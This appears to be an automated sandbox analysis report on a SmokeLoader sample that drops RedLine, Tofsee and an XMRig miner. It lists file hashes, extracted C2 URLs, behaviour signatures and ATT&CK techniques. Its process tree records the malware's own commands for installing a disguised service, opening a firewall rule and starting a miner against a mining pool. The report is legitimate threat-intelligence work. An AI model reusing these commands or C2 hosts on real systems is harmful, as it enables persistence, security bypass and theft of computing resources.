Analysis

  • max time kernel
    150s
  • max time network
    150s
  • platform
    windows10_x64
  • resource
    win10v20201028
  • submitted
    14-03-2021 17:53

General

  • Target

    SecuriteInfo.com.W32.AIDetect.malware2.29567.18434.exe

  • Size

    292KB

  • MD5

    a19ddedb140dec9232c60a8719044f0e

  • SHA1

    dbff7d815083faf53db85440402404f85424c99c

  • SHA256

    a60eba931c6438e60aed1b8a049a79cb6e53a28b84897c3963836c7d1e750c81

  • SHA512

    9c7e543d896ea3d328eb3e2a2773c9c2d9e1fd90ef25def6a0972948d016afb9f42883bf8838f023a3e64baa28e735c469825148e6ab556d449800283a23f946

Malware Config

Extracted

Family

smokeloader

Version

2020

C2

http://funzel.info/upload/

http://doeros.xyz/upload/

http://vromus.com/upload/

http://hqans.com/upload/

http://vxeudy.com/upload/

http://poderoa.com/upload/

http://nezzzo.com/upload/

rc4.i32
rc4.i32

Signatures

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • SmokeLoader

    Modular backdoor trojan in use since 2014.

  • Suspicious use of NtCreateProcessExOtherParentProcess 1 IoCs
  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
  • XMRig Miner Payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 7 IoCs
  • Modifies Windows Firewall 1 TTPs
  • Sets service image path in registry 2 TTPs
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Deletes itself 1 IoCs
  • Loads dropped DLL 1 IoCs
  • Reads local data of messenger clients 2 TTPs

    Infostealers often target stored data of messaging applications, which can include saved credentials and account information.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • themida 3 IoCs

    Detects Themida, Advanced Windows software protection system.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Checks whether UAC is enabled 1 TTPs 1 IoCs
  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Suspicious use of SetThreadContext 3 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 1 IoCs
  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 5 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 38 IoCs
  • Suspicious use of WriteProcessMemory 53 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.W32.AIDetect.malware2.29567.18434.exe
    "C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.W32.AIDetect.malware2.29567.18434.exe"
    1⤵
    • Loads dropped DLL
    • Checks SCSI registry key(s)
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: MapViewOfSection
    PID:4688
  • C:\Users\Admin\AppData\Local\Temp\8CB5.exe
    C:\Users\Admin\AppData\Local\Temp\8CB5.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of WriteProcessMemory
    PID:3984
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\enkryksu\
      2⤵
        PID:3492
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\smmdoxoq.exe" C:\Windows\SysWOW64\enkryksu\
        2⤵
          PID:4084
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create enkryksu binPath= "C:\Windows\SysWOW64\enkryksu\smmdoxoq.exe /d\"C:\Users\Admin\AppData\Local\Temp\8CB5.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
            PID:4384
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" description enkryksu "wifi internet conection"
            2⤵
              PID:4388
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" start enkryksu
              2⤵
                PID:4468
              • C:\Windows\SysWOW64\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                2⤵
                  PID:668
              • C:\Windows\SysWOW64\enkryksu\smmdoxoq.exe
                C:\Windows\SysWOW64\enkryksu\smmdoxoq.exe /d"C:\Users\Admin\AppData\Local\Temp\8CB5.exe"
                1⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious use of WriteProcessMemory
                PID:4548
                • C:\Windows\SysWOW64\svchost.exe
                  svchost.exe
                  2⤵
                  • Drops file in System32 directory
                  • Suspicious use of SetThreadContext
                  • Modifies data under HKEY_USERS
                  • Suspicious use of WriteProcessMemory
                  PID:840
                  • C:\Windows\SysWOW64\svchost.exe
                    svchost.exe -o msr.pool-pay.com:6199 -u 9jNvTpsSutBLodbiiRngN2S4AfM84WJ4Y8zRpo6H4QPBK625huByLqkiCTh5Uog1qHVBr7cyZfbA1GiiPqSsSv83HAiirSf.50000 -p x -k
                    3⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:4612
              • C:\Users\Admin\AppData\Roaming\vjjdfvg
                C:\Users\Admin\AppData\Roaming\vjjdfvg
                1⤵
                • Executes dropped EXE
                PID:540
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -u -p 540 -s 480
                  2⤵
                  • Suspicious use of NtCreateProcessExOtherParentProcess
                  • Program crash
                  • Suspicious use of AdjustPrivilegeToken
                  PID:1620
              • C:\Users\Admin\AppData\Local\Temp\F265.exe
                C:\Users\Admin\AppData\Local\Temp\F265.exe
                1⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious use of WriteProcessMemory
                PID:2212
                • C:\Users\Admin\AppData\Local\Temp\F265.exe
                  C:\Users\Admin\AppData\Local\Temp\F265.exe
                  2⤵
                  • Executes dropped EXE
                  • Checks processor information in registry
                  PID:2348
              • C:\Users\Admin\AppData\Local\Temp\1E7.exe
                C:\Users\Admin\AppData\Local\Temp\1E7.exe
                1⤵
                • Executes dropped EXE
                • Checks BIOS information in registry
                • Checks whether UAC is enabled
                • Suspicious use of NtSetInformationThreadHideFromDebugger
                • Suspicious use of AdjustPrivilegeToken
                PID:2872
              • C:\Users\Admin\AppData\Local\Temp\851.exe
                C:\Users\Admin\AppData\Local\Temp\851.exe
                1⤵
                • Executes dropped EXE
                • Suspicious use of AdjustPrivilegeToken
                PID:2744

              Network

              MITRE ATT&CK Matrix ATT&CK v6

              Persistence

              New Service

              1
              T1050

              Modify Existing Service

              1
              T1031

              Registry Run Keys / Startup Folder

              1
              T1060

              Privilege Escalation

              New Service

              1
              T1050

              Defense Evasion

              Disabling Security Tools

              1
              T1089

              Modify Registry

              2
              T1112

              Virtualization/Sandbox Evasion

              1
              T1497

              Credential Access

              Credentials in Files

              3
              T1081

              Discovery

              Query Registry

              5
              T1012

              Virtualization/Sandbox Evasion

              1
              T1497

              System Information Discovery

              5
              T1082

              Peripheral Device Discovery

              1
              T1120

              Collection

              Data from Local System

              3
              T1005

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              • C:\Users\Admin\AppData\Local\Temp\1E7.exe
                MD5

                35396adfdf47dc493cf8fa4d00c77ff5

                SHA1

                946073c2499cb36b92cf3696ffe340c8683ea2cf

                SHA256

                6a89515fdad2ed5af6b6cfa3eba11e84e5bd8527d5447d43abdfbf375a353456

                SHA512

                766c54961324f3596f187e69c13c586db6bda077314da51a7a30317301f00f1eed284a1f735c5399a11fe5663ab13736b636d178620ae624ebd1845bef174929

              • C:\Users\Admin\AppData\Local\Temp\1E7.exe
                MD5

                35396adfdf47dc493cf8fa4d00c77ff5

                SHA1

                946073c2499cb36b92cf3696ffe340c8683ea2cf

                SHA256

                6a89515fdad2ed5af6b6cfa3eba11e84e5bd8527d5447d43abdfbf375a353456

                SHA512

                766c54961324f3596f187e69c13c586db6bda077314da51a7a30317301f00f1eed284a1f735c5399a11fe5663ab13736b636d178620ae624ebd1845bef174929

              • C:\Users\Admin\AppData\Local\Temp\851.exe
                MD5

                0e261dff8be1ae31a7d8808ac3ee02c1

                SHA1

                f969f799b3a5aaac8a3209ea8569f6f762430cf4

                SHA256

                46ef22f53bd6b18cba23c2a9d0bdae828291adfd5381200b88b6ee4cced0ac8a

                SHA512

                90f99195d386ce5f240d9c0a94f75c66abb8e254a02b57f86a76fb2b745f9cda020fefd165bb46fcacba0c42b1dab7d8e7e375ec073b25fa202037706b495106

              • C:\Users\Admin\AppData\Local\Temp\851.exe
                MD5

                0e261dff8be1ae31a7d8808ac3ee02c1

                SHA1

                f969f799b3a5aaac8a3209ea8569f6f762430cf4

                SHA256

                46ef22f53bd6b18cba23c2a9d0bdae828291adfd5381200b88b6ee4cced0ac8a

                SHA512

                90f99195d386ce5f240d9c0a94f75c66abb8e254a02b57f86a76fb2b745f9cda020fefd165bb46fcacba0c42b1dab7d8e7e375ec073b25fa202037706b495106

              • C:\Users\Admin\AppData\Local\Temp\8CB5.exe
                MD5

                b2b843aca834ec04444536ac1487b4ce

                SHA1

                6d2ea3cfea293b5a4e813736fffcc40fd55a4cce

                SHA256

                9efb704efe3b8c9e836dab14c52e3be57b444963bfce3493385adb4f5070cc6c

                SHA512

                f2de1089949606cc0f5ee17077b3361056988379857e96a1a4fe3571a2849137ac2ecab91400e8a71a7f49154a1902fb711c547a1d87d82be0062c8cc04dc374

              • C:\Users\Admin\AppData\Local\Temp\8CB5.exe
                MD5

                b2b843aca834ec04444536ac1487b4ce

                SHA1

                6d2ea3cfea293b5a4e813736fffcc40fd55a4cce

                SHA256

                9efb704efe3b8c9e836dab14c52e3be57b444963bfce3493385adb4f5070cc6c

                SHA512

                f2de1089949606cc0f5ee17077b3361056988379857e96a1a4fe3571a2849137ac2ecab91400e8a71a7f49154a1902fb711c547a1d87d82be0062c8cc04dc374

              • C:\Users\Admin\AppData\Local\Temp\CC4F.tmp
                MD5

                50741b3f2d7debf5d2bed63d88404029

                SHA1

                56210388a627b926162b36967045be06ffb1aad3

                SHA256

                f2f8732ae464738372ff274b7e481366cecdd2337210d4a3cbcd089c958a730c

                SHA512

                fac6bfe35b1ee08b3d42d330516a260d9cdb4a90bbb0491411a583029b92a59d20af3552372ea8fb3f59442b3945bf524ef284127f397ae7179467080be8e9b3

              • C:\Users\Admin\AppData\Local\Temp\F265.exe
                MD5

                733c058866785a5ef82a9474bd11da62

                SHA1

                71363109844a5b20268fb0c6be8a3e703f0ebea5

                SHA256

                81390fdca828de16c0bc98786ed21c6d52a90c2fea9ab3f8347750ed7448ffca

                SHA512

                9782fbb0e00d355f6baf4fd73d32495b595444628afbdbc3f3f16668d2c47272c15dd944325368d5aaacbca3834a053f7572bc9e7eb9f6364479e86925eaad5b

              • C:\Users\Admin\AppData\Local\Temp\F265.exe
                MD5

                733c058866785a5ef82a9474bd11da62

                SHA1

                71363109844a5b20268fb0c6be8a3e703f0ebea5

                SHA256

                81390fdca828de16c0bc98786ed21c6d52a90c2fea9ab3f8347750ed7448ffca

                SHA512

                9782fbb0e00d355f6baf4fd73d32495b595444628afbdbc3f3f16668d2c47272c15dd944325368d5aaacbca3834a053f7572bc9e7eb9f6364479e86925eaad5b

              • C:\Users\Admin\AppData\Local\Temp\F265.exe
                MD5

                733c058866785a5ef82a9474bd11da62

                SHA1

                71363109844a5b20268fb0c6be8a3e703f0ebea5

                SHA256

                81390fdca828de16c0bc98786ed21c6d52a90c2fea9ab3f8347750ed7448ffca

                SHA512

                9782fbb0e00d355f6baf4fd73d32495b595444628afbdbc3f3f16668d2c47272c15dd944325368d5aaacbca3834a053f7572bc9e7eb9f6364479e86925eaad5b

              • C:\Users\Admin\AppData\Local\Temp\smmdoxoq.exe
                MD5

                aea13d908f85f7ef91d6ee1e931d42b5

                SHA1

                6cabeb10f1ec425f935420aadf67ef4448751666

                SHA256

                6d3417dcc4b19087e213479091411005c39e409687ba64cd0acb155b132403c2

                SHA512

                f828495182a81e2f355bd6692c5196d0443a28bdeebca80661cf7575c1c17e53eb80bad28fd72eb68d89750825a2766a659e758b8e960841404d06396c7a0834

              • C:\Users\Admin\AppData\Roaming\vjjdfvg
                MD5

                a19ddedb140dec9232c60a8719044f0e

                SHA1

                dbff7d815083faf53db85440402404f85424c99c

                SHA256

                a60eba931c6438e60aed1b8a049a79cb6e53a28b84897c3963836c7d1e750c81

                SHA512

                9c7e543d896ea3d328eb3e2a2773c9c2d9e1fd90ef25def6a0972948d016afb9f42883bf8838f023a3e64baa28e735c469825148e6ab556d449800283a23f946

              • C:\Users\Admin\AppData\Roaming\vjjdfvg
                MD5

                a19ddedb140dec9232c60a8719044f0e

                SHA1

                dbff7d815083faf53db85440402404f85424c99c

                SHA256

                a60eba931c6438e60aed1b8a049a79cb6e53a28b84897c3963836c7d1e750c81

                SHA512

                9c7e543d896ea3d328eb3e2a2773c9c2d9e1fd90ef25def6a0972948d016afb9f42883bf8838f023a3e64baa28e735c469825148e6ab556d449800283a23f946

              • C:\Windows\SysWOW64\enkryksu\smmdoxoq.exe
                MD5

                aea13d908f85f7ef91d6ee1e931d42b5

                SHA1

                6cabeb10f1ec425f935420aadf67ef4448751666

                SHA256

                6d3417dcc4b19087e213479091411005c39e409687ba64cd0acb155b132403c2

                SHA512

                f828495182a81e2f355bd6692c5196d0443a28bdeebca80661cf7575c1c17e53eb80bad28fd72eb68d89750825a2766a659e758b8e960841404d06396c7a0834

              • \Users\Admin\AppData\Local\Temp\CC4F.tmp
                MD5

                50741b3f2d7debf5d2bed63d88404029

                SHA1

                56210388a627b926162b36967045be06ffb1aad3

                SHA256

                f2f8732ae464738372ff274b7e481366cecdd2337210d4a3cbcd089c958a730c

                SHA512

                fac6bfe35b1ee08b3d42d330516a260d9cdb4a90bbb0491411a583029b92a59d20af3552372ea8fb3f59442b3945bf524ef284127f397ae7179467080be8e9b3

              • memory/540-26-0x0000000003080000-0x0000000003081000-memory.dmp
                Filesize

                4KB

              • memory/668-22-0x0000000000000000-mapping.dmp
              • memory/840-25-0x0000000002AC9A6B-mapping.dmp
              • memory/840-89-0x0000000004940000-0x0000000004B4F000-memory.dmp
                Filesize

                2.1MB

              • memory/840-90-0x0000000002DE0000-0x0000000002DE6000-memory.dmp
                Filesize

                24KB

              • memory/840-24-0x0000000002AC0000-0x0000000002AD5000-memory.dmp
                Filesize

                84KB

              • memory/1620-33-0x0000000004EB0000-0x0000000004EB1000-memory.dmp
                Filesize

                4KB

              • memory/1620-34-0x0000000004EB0000-0x0000000004EB1000-memory.dmp
                Filesize

                4KB

              • memory/2212-43-0x0000000002C20000-0x0000000002C64000-memory.dmp
                Filesize

                272KB

              • memory/2212-39-0x0000000003270000-0x0000000003271000-memory.dmp
                Filesize

                4KB

              • memory/2212-36-0x0000000000000000-mapping.dmp
              • memory/2348-44-0x0000000000400000-0x0000000000447000-memory.dmp
                Filesize

                284KB

              • memory/2348-41-0x0000000000401480-mapping.dmp
              • memory/2348-40-0x0000000000400000-0x0000000000447000-memory.dmp
                Filesize

                284KB

              • memory/2744-71-0x0000000007263000-0x0000000007264000-memory.dmp
                Filesize

                4KB

              • memory/2744-60-0x0000000003190000-0x0000000003191000-memory.dmp
                Filesize

                4KB

              • memory/2744-103-0x000000000A0B0000-0x000000000A0B1000-memory.dmp
                Filesize

                4KB

              • memory/2744-99-0x0000000002BF0000-0x0000000002BF1000-memory.dmp
                Filesize

                4KB

              • memory/2744-98-0x0000000002CF0000-0x0000000002CF1000-memory.dmp
                Filesize

                4KB

              • memory/2744-96-0x0000000009100000-0x0000000009101000-memory.dmp
                Filesize

                4KB

              • memory/2744-94-0x0000000008F20000-0x0000000008F21000-memory.dmp
                Filesize

                4KB

              • memory/2744-76-0x0000000007264000-0x0000000007266000-memory.dmp
                Filesize

                8KB

              • memory/2744-70-0x0000000007262000-0x0000000007263000-memory.dmp
                Filesize

                4KB

              • memory/2744-75-0x0000000000400000-0x000000000043A000-memory.dmp
                Filesize

                232KB

              • memory/2744-73-0x0000000002C60000-0x0000000002C97000-memory.dmp
                Filesize

                220KB

              • memory/2744-72-0x0000000004B30000-0x0000000004B5D000-memory.dmp
                Filesize

                180KB

              • memory/2744-65-0x0000000072AD0000-0x00000000731BE000-memory.dmp
                Filesize

                6.9MB

              • memory/2744-68-0x0000000007260000-0x0000000007261000-memory.dmp
                Filesize

                4KB

              • memory/2744-67-0x0000000003050000-0x000000000307E000-memory.dmp
                Filesize

                184KB

              • memory/2744-53-0x0000000000000000-mapping.dmp
              • memory/2744-63-0x0000000004930000-0x0000000004931000-memory.dmp
                Filesize

                4KB

              • memory/2872-50-0x0000000003140000-0x0000000003141000-memory.dmp
                Filesize

                4KB

              • memory/2872-64-0x0000000005463000-0x0000000005464000-memory.dmp
                Filesize

                4KB

              • memory/2872-56-0x0000000003100000-0x0000000003129000-memory.dmp
                Filesize

                164KB

              • memory/2872-57-0x0000000005470000-0x0000000005471000-memory.dmp
                Filesize

                4KB

              • memory/2872-58-0x0000000005970000-0x0000000005998000-memory.dmp
                Filesize

                160KB

              • memory/2872-59-0x00000000059A0000-0x00000000059A1000-memory.dmp
                Filesize

                4KB

              • memory/2872-102-0x0000000006060000-0x0000000006061000-memory.dmp
                Filesize

                4KB

              • memory/2872-61-0x0000000005460000-0x0000000005461000-memory.dmp
                Filesize

                4KB

              • memory/2872-62-0x0000000005462000-0x0000000005463000-memory.dmp
                Filesize

                4KB

              • memory/2872-87-0x0000000006B30000-0x0000000006B31000-memory.dmp
                Filesize

                4KB

              • memory/2872-66-0x0000000005464000-0x0000000005466000-memory.dmp
                Filesize

                8KB

              • memory/2872-51-0x00000000778C4000-0x00000000778C5000-memory.dmp
                Filesize

                4KB

              • memory/2872-81-0x00000000069B0000-0x00000000069B1000-memory.dmp
                Filesize

                4KB

              • memory/2872-49-0x0000000000401000-0x000000000041B000-memory.dmp
                Filesize

                104KB

              • memory/2872-80-0x0000000006840000-0x0000000006841000-memory.dmp
                Filesize

                4KB

              • memory/2872-48-0x0000000000400000-0x0000000000D16000-memory.dmp
                Filesize

                9.1MB

              • memory/2872-79-0x0000000006820000-0x0000000006821000-memory.dmp
                Filesize

                4KB

              • memory/2872-78-0x0000000006190000-0x0000000006191000-memory.dmp
                Filesize

                4KB

              • memory/2872-45-0x0000000000000000-mapping.dmp
              • memory/2872-52-0x0000000072AD0000-0x00000000731BE000-memory.dmp
                Filesize

                6.9MB

              • memory/2872-77-0x0000000005FC0000-0x0000000005FC1000-memory.dmp
                Filesize

                4KB

              • memory/3128-6-0x0000000000B20000-0x0000000000B36000-memory.dmp
                Filesize

                88KB

              • memory/3492-13-0x0000000000000000-mapping.dmp
              • memory/3984-11-0x0000000002B30000-0x0000000002B43000-memory.dmp
                Filesize

                76KB

              • memory/3984-10-0x0000000003010000-0x0000000003011000-memory.dmp
                Filesize

                4KB

              • memory/3984-12-0x0000000000400000-0x0000000000415000-memory.dmp
                Filesize

                84KB

              • memory/3984-7-0x0000000000000000-mapping.dmp
              • memory/4084-14-0x0000000000000000-mapping.dmp
              • memory/4384-16-0x0000000000000000-mapping.dmp
              • memory/4388-17-0x0000000000000000-mapping.dmp
              • memory/4468-18-0x0000000000000000-mapping.dmp
              • memory/4548-23-0x0000000003090000-0x0000000003091000-memory.dmp
                Filesize

                4KB

              • memory/4612-93-0x0000000002B2259C-mapping.dmp
              • memory/4612-91-0x0000000002A90000-0x0000000002B81000-memory.dmp
                Filesize

                964KB

              • memory/4688-4-0x0000000000030000-0x0000000000039000-memory.dmp
                Filesize

                36KB

              • memory/4688-5-0x0000000000400000-0x0000000000409000-memory.dmp
                Filesize

                36KB

              • memory/4688-2-0x0000000003090000-0x0000000003091000-memory.dmp
                Filesize

                4KB